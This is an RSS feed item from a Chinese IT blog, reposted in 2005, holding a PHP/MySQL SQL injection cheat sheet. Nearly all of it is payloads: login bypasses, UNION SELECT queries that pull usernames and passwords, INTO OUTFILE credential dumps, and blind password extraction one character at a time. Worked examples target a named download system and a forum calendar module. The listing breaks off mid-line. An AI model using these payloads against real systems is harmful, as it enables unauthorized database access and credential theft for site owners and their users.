﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-快乐着飞舞着-文章分类-Others</title><link>http://www.cnitblog.com/reene/category/223.html</link><description>---Nothing to do  is  doing nothing</description><language>zh-cn</language><lastBuildDate>Mon, 26 Sep 2011 14:14:38 GMT</lastBuildDate><pubDate>Mon, 26 Sep 2011 14:14:38 GMT</pubDate><ttl>60</ttl><item><title>[转载]PHP injection总结</title><link>http://www.cnitblog.com/reene/articles/819.html</link><dc:creator>快乐着飞舞着</dc:creator><author>快乐着飞舞着</author><pubDate>Fri, 08 Jul 2005 05:01:00 GMT</pubDate><guid>http://www.cnitblog.com/reene/articles/819.html</guid><wfw:comment>http://www.cnitblog.com/reene/comments/819.html</wfw:comment><comments>http://www.cnitblog.com/reene/articles/819.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/reene/comments/commentRss/819.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/reene/services/trackbacks/819.html</trackback:ping><description><![CDATA[<P>&nbsp;</P>
<DIV style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
<DIV><SPAN style="COLOR: #008080">&nbsp;&nbsp;1</SPAN><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #808080">&gt;</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">&nbsp;or&nbsp;1=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;&nbsp;2</SPAN><SPAN style="COLOR: #ff0000"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #808080">or</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">1=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;&nbsp;3</SPAN><SPAN style="COLOR: #ff0000"><IMG id=Codehighlighter1_26_6868_Open_Image onclick="this.style.display='none'; Codehighlighter1_26_6868_Open_Text.style.display='none'; Codehighlighter1_26_6868_Closed_Image.style.display='inline'; Codehighlighter1_26_6868_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter1_26_6868_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_26_6868_Closed_Text.style.display='none'; Codehighlighter1_26_6868_Open_Image.style.display='inline'; Codehighlighter1_26_6868_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align=top>---</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN id=Codehighlighter1_26_6868_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/**/</SPAN><SPAN id=Codehighlighter1_26_6868_Open_Text><SPAN style="COLOR: #008080">/*</SPAN><SPAN style="COLOR: #008080">&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;&nbsp;4</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>'%23&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;&nbsp;5</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>'&nbsp;and&nbsp;password='mypass&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;&nbsp;6</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id=-1&nbsp;union&nbsp;select&nbsp;1,1,1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;&nbsp;7</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id=-1&nbsp;union&nbsp;select&nbsp;char(97),char(97),char(97)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;&nbsp;8</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id=1&nbsp;union&nbsp;select&nbsp;1,1,1&nbsp;from&nbsp;members&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;&nbsp;9</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id=1&nbsp;union&nbsp;select&nbsp;1,1,1&nbsp;from&nbsp;admin&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;10</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id=1&nbsp;union&nbsp;select&nbsp;1,1,1&nbsp;from&nbsp;user&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;11</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>userid=1&nbsp;and&nbsp;password=mypass&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;12</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>userid=1&nbsp;and&nbsp;mid(password,3,1)=char(112)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;13</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>userid=1&nbsp;and&nbsp;mid(password,4,1)=char(97)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;14</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>and&nbsp;ord(mid(password,3,1))&gt;111&nbsp;（ord函数很好用，可以返回整形的）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;15</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>'&nbsp;and&nbsp;LENGTH(password)='6（探测密码长度）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;16</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>'&nbsp;and&nbsp;LEFT(password,1)='m&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;17</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>'&nbsp;and&nbsp;LEFT(password,2)='my&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;18</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif">依次类推&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;19</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>'&nbsp;union&nbsp;select&nbsp;1,username,password&nbsp;from&nbsp;user/*&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;20</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>'&nbsp;union&nbsp;select&nbsp;1,username,password&nbsp;from&nbsp;user/*&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;21</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>='&nbsp;union&nbsp;select&nbsp;1,username,password&nbsp;from&nbsp;user/*&nbsp;（可以是1或者=后直接跟）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;22</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>99999'&nbsp;union&nbsp;select&nbsp;1,username,password&nbsp;from&nbsp;user/*&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;23</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>'&nbsp;into&nbsp;outfile&nbsp;'c:/file.txt&nbsp;（导出文件）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;24</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>='&nbsp;or&nbsp;1=1&nbsp;into&nbsp;outfile&nbsp;'c:/file.txt&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;25</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>1'&nbsp;union&nbsp;select&nbsp;1,username,password&nbsp;from&nbsp;user&nbsp;into&nbsp;outfile&nbsp;'c:/user.txt&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;26</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;password&nbsp;FROM&nbsp;admins&nbsp;where&nbsp;login='John'&nbsp;INTO&nbsp;DUMPFILE&nbsp;'/path/to/site/fi<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;27</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;28</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>le.txt'&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;29</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id='&nbsp;union&nbsp;select&nbsp;1,username,password&nbsp;from&nbsp;user&nbsp;into&nbsp;outfile&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;30</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id=-1&nbsp;union&nbsp;select&nbsp;1,database(),version()&nbsp;（灵活应用查询）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;31</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>--常用查询测试语句，&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;32</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;1=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;33</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;'uuu'='uuu'&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;34</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;1&lt;&gt;2&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;35</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;3&gt;2&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;36</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;2&lt;3&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;37</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;38</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;1+1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;39</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;1--1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;40</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;ISNULL(NULL)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;41</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;ISNULL(COT(0))&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;42</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;1&nbsp;IS&nbsp;NOT&nbsp;NULL&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;43</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;NULL&nbsp;IS&nbsp;NULL&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;44</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;2&nbsp;BETWEEN&nbsp;1&nbsp;AND&nbsp;3&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;45</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;'b'&nbsp;BETWEEN&nbsp;'a'&nbsp;AND&nbsp;'c'&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;46</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;2&nbsp;IN&nbsp;(0,1,2)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;47</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;*&nbsp;FROM&nbsp;table&nbsp;where&nbsp;CASE&nbsp;WHEN&nbsp;1&gt;0&nbsp;THEN&nbsp;1&nbsp;END&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;48</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>--例如：夜猫下载系统1.0版本&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;49</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id=1&nbsp;union&nbsp;select&nbsp;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;50</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union&nbsp;select&nbsp;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;ymdown_user&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;51</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union&nbsp;select&nbsp;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;ymdown_user&nbsp;where&nbsp;id=1<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;52</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;53</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;54</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>id=10000&nbsp;union&nbsp;select&nbsp;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;ymdown_user&nbsp;w<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;55</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;56</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>here&nbsp;id=1&nbsp;and&nbsp;groupid=1&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;57</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union&nbsp;select&nbsp;1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;ymdown_u<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;58</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;59</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>ser&nbsp;where&nbsp;id=1&nbsp;--（替换，寻找密码）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;60</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union&nbsp;select&nbsp;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;ymdown_user&nbsp;where&nbsp;id=1<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;61</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;62</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;and&nbsp;ord(mid(password,1,1))=49&nbsp;--（验证第一位密码）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;63</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union&nbsp;select&nbsp;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;ymdown_user&nbsp;where&nbsp;id=1<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;64</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;65</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;and&nbsp;ord(mid(password,2,1))=50&nbsp;--（第二位）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;66</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union&nbsp;select&nbsp;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;ymdown_user&nbsp;where&nbsp;id=1<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;67</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;68</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;and&nbsp;ord(mid(password,3,1))=51&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;69</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>----<IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif">&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;70</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>---例如2：灰色轨迹&nbsp;变换id进行测试（meteor）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;71</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union%20(select%20allowsmilies,public,userid,'0000-0-0',user&nbsp;(),version()%20FR<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;72</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;73</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>OM%20calendar_events%20where%20eventid%20=%&nbsp;2013)%20order%20by%20eventdate&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;74</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union%20(select%20allowsmilies,public,userid,'0000-0-0',pass&nbsp;(),version()%20FR<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;75</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;76</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>OM%20calendar_events%20where%20eventid%20=%&nbsp;2010)%20order%20by%20eventdate&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;77</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>---构造语句：&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;78</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;allowsmilies,public,userid,eventdate,event,subject&nbsp;FROM&nbsp;calendar_events<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;79</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;80</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;where&nbsp;eventid&nbsp;=&nbsp;1&nbsp;union&nbsp;(select&nbsp;1,1,1,1,1,1,1&nbsp;from&nbsp;user&nbsp;where&nbsp;userid=1)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;81</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>select&nbsp;allowsmilies,public,userid,eventdate,event,subject&nbsp;FROM&nbsp;calendar_events<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;82</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;83</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;where&nbsp;eventid&nbsp;=&nbsp;1&nbsp;union&nbsp;(select&nbsp;1,1,1,1,username,password&nbsp;from&nbsp;user&nbsp;where&nbsp;use<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;84</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;85</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>rid=1)&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;86</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20u&nbsp;ser%20where%20use<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;87</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;88</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>rid%20=%205)%20order%20by%20eventdate&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;89</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union%20(select%201,0,12695,'1999-01-01','a',password%20FROM&nbsp;%20user%20where%2<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;90</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;91</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>0userid=13465)%20order%20by%20eventdate&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;92</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%2&nbsp;0user%20where%20u<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;93</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;94</SPAN><SPAN style="COLOR: #008080"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>sername='sandflee')%20order%20by%20eventdat&nbsp;e&nbsp;-----（查沙子的id）&nbsp;<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;95</SPAN><SPAN 